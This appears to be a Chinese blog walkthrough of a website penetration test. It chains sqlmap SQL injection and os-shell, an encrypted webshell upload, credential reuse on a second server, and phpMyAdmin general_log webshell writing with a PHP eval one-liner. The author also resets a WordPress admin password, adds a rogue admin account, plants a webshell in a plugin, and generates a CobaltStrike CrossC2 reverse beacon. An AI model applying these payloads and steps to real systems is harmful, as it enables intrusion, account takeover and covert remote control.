某次网站的渗透测试
第一台服务器权限
在对某网站进行网站安全测试的时候发现这个网站的新闻发表处存在SQL的注入漏洞。
对此网站进行SQL注入测试之后发现这个网站是没有WAF之类的防护软件进行包含网站的,那么我就直接使用SQLMAP进行SQL注入测试。SQLMAP给出网站的指纹信息,服务器是一个window的服务器,并且版本是windows 10 或者2016。如果是服务器的话我绝对可能就是windows 2016了。并且中间件是IIS10.0。数据库是mysql。对方给的数据库权限比较高,那么就直接从数据库入手吧。
在SQLMAP中使用-os-shell进去系统命令执行界面,查看一下当前服务器的权限,比较低的一个权限。
利用SQLMAP执行了 -os-shell之后留下的一个网站上传点进行木马上传,经过测试之后发现该网站对普通的一句话木马流量有进行拦截,木马在对方目录下并没有被删除,但是访问的时候是显示500服务器内部错误。我推测的话大概率就是对方有一些防护设备对敏感流量进行了拦截导致无法连接回来。
对于这种的话可以使用冰蝎的木马来进行webshell获取,冰蝎的木马是有加密的一般的防护设备很难设备得到。这里我直接上传冰蝎的木马,访问上传的木马这里显示没有问题。
使用冰蝎客户端进行连接,进入到目录管理中,发现对方的服务器上面具有好几个盘符。如果盘符很多的话那么对方的服务器应该是有搭建其他的网站的吧。这里我使用域名反查对该IP进行查询,发现的的确确有搭建好几个网站。
当我在目录管理器里面点击其他网站的目录时能够顺利访问得到,对方的管理员并无对目录的权限进行设定。那我就是对这服务器进行翻找。在一个盘符中找到了不同寻常的数据库连接文件。这个文件的数据库地址并不是本地服务器的IP地址。那么我就直接连接一下,发现这个数据库服务器真的可以连接成功。
如果这台服务器不是单纯的数据库服务器的话,它应该会有搭建网站的,我对这个IP地址进行域名反查,果不其然这个服务器有搭建一个网站
在对这服务器的数据库进行查看的时候发现数据库里面有phpmyadmin和wordpress的数据库。那么这个网站就是由wordpressCMS搭建配合phpmyadmin的数据库管理搭建的网站。对其进行指纹探测。服务器的系统是ubuntu的操作系统,中间件是apache。
我直接在网站的URL上面加上phpmyadmin,果不其然哈哈哈直接跳转到了phpmyadmin的登陆界面,我直接使用数据库的ROOT权限的密码登陆了进去。
第二台服务器权限
对于高权限的phpmyadmin提权的思路就是通过写入一句话进去或者通过日志提权,这两者都需要由网站的绝对路径,对其网站的路径进行扫描,发现了有一出及其关键的文件出现info.php,按照经验来讲那么肯定就是phpinfo的页面了,可以从phpinfo页面中找出它的网站绝对路径出来再配合phpmyadmin写入一句话到网站的目录下。
通过查看phpinfo泄露出来的网站绝对路径。就可以写入一句话木马进入网站
对于phpmyadmin渗透思路就是通过写入一句话木马过去,首先如果可以写入的话,需要看一个变量是否为空,如果是空的话代表可以任意路径写入文件。但是这里由指定路径。
首先通过SHOW VARIABLES LIKE "secure_file_priv"查看是否为空
那么我们就需要通过日志来获取webshell了。我们通过在变量选项里面。找到general log是一个off的状态。
那么就需要开启日志功能,并且讲日志的路径改为网站的路径,在写入一句话木马进入。
第一步:set global general_log='on' # 开启日志
第二步:set global general_log_file ="/var/www/html/s.php" # 日志写入的文件
第三步:select "<?php eval($_POST['xxx'])?>" # 执行带有一句话的sql语句
第二步将日志写入的文件设置的路径为网站的路径。但是第二步失败了,这里说general_log_file不能为/var/www/html/。
进入无法通过phpmyadmin这个突破口获取权限的话,那么还有第二个思路的,就是通过phpmyadmin获取后台管理员的密码进入后台获取权限,这里后台管理员的密码不能破解出来,我直接就替换了另外一个密码,进去后台之后添加多一个为我所用的网站管理的账号,之后再吧之前修改的管理员的密码恢复回去。
进入到wordpress的后台之后,获取shell的方式一般都是修改外观的源代码插入一句话、利用插件的漏洞或者修改插件的源代码插入一句话。这里我从外观源代码插入一句话开始。但是这里不允许修改代码。
接着我对可以利用的插件进行源代码插入,再利用插件的插入一句话的时候需要测试一下插件是否可以访问,有一些插件访问的时候是被拒绝的!
经过测试之后找到一个可以修改并且可以访问的插件插入一句话木马进去
之后使用蚁剑直接连接到一句话。完美!
接着让这台主机上线CobaltStrike,可以使用CrossC2来上线linux主机,在github上下载项目:
CrossC2插件项目地址:https://github.com/gloxec/CrossC2
下载之后把src目录下的genCrossC2.Linux上传到CobaltStrike服务器上面
把 CobaltStrike 服务端的.cobaltstrike.beacon_keys下载到 CobaltStrike 客户端目录下。
生成一个Https的监听,服务端开启监听 windows/beacon_https/reverse_https 类型的beacon
接着回到CobaltStrike服务器,使用genCrossC2.Linux生成一个Linux可以执行的木马
./genCrossC2.Linux 监听的IP 监听的端口 null null Linux x64 C2
把木马上传到对方的服务器上面,并且赋予权限,然后执行。
等待一会对方就可以上线CobaltStrike了!!!
这台主机的网卡信息有docker,我感觉应该是有一些服务是通过docker部署的吧,后渗透的话还是以后再深入了!
- 归并排序算法的编码和优化
- Kotlin语法基础之运算符
- Kotlin语法基础之控制流
- Kotlin 包和 import 语句使用
- 使用多个Target去管理项目版本环境
- Facebook iOS UI 工具ComponentKit简介
- 基于OpenCV的跳一跳外挂实现原理
- React Native 0.50版本新功能简介
- Android滤镜效果实现及原理分析
- Spring Boot入门及整合mybatis
- Swift开发React Native组件
- 深入理解Android插件化技术
- Kotlin DSL详解
- 大规模异常滥用检测:基于局部敏感哈希算法——来自Uber Engineering的实践
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- python 中面向切面编程AOP和装饰器
- HashMap&ConcurrentHashMap&HashTable
- python中的垃圾回收机制
- python中值传递还是引用传递?
- 基于Docker+Jenkins+Git的集成开发环境搭建
- python 函数的本质理解
- centOS(离线) off-line install docker-ce
- Java 工厂 Simple Factory&Factory&Abstract Factory
- python 性能的优化
- python中列表的常见操作
- Aop 源码解读
- python字典的合并排序添加查询
- python numpy pandas
- 让终端支持播放mp3,移植mp3解码库libmad和madplay到嵌入式linux
- Spring Bean的解析和加载详细解释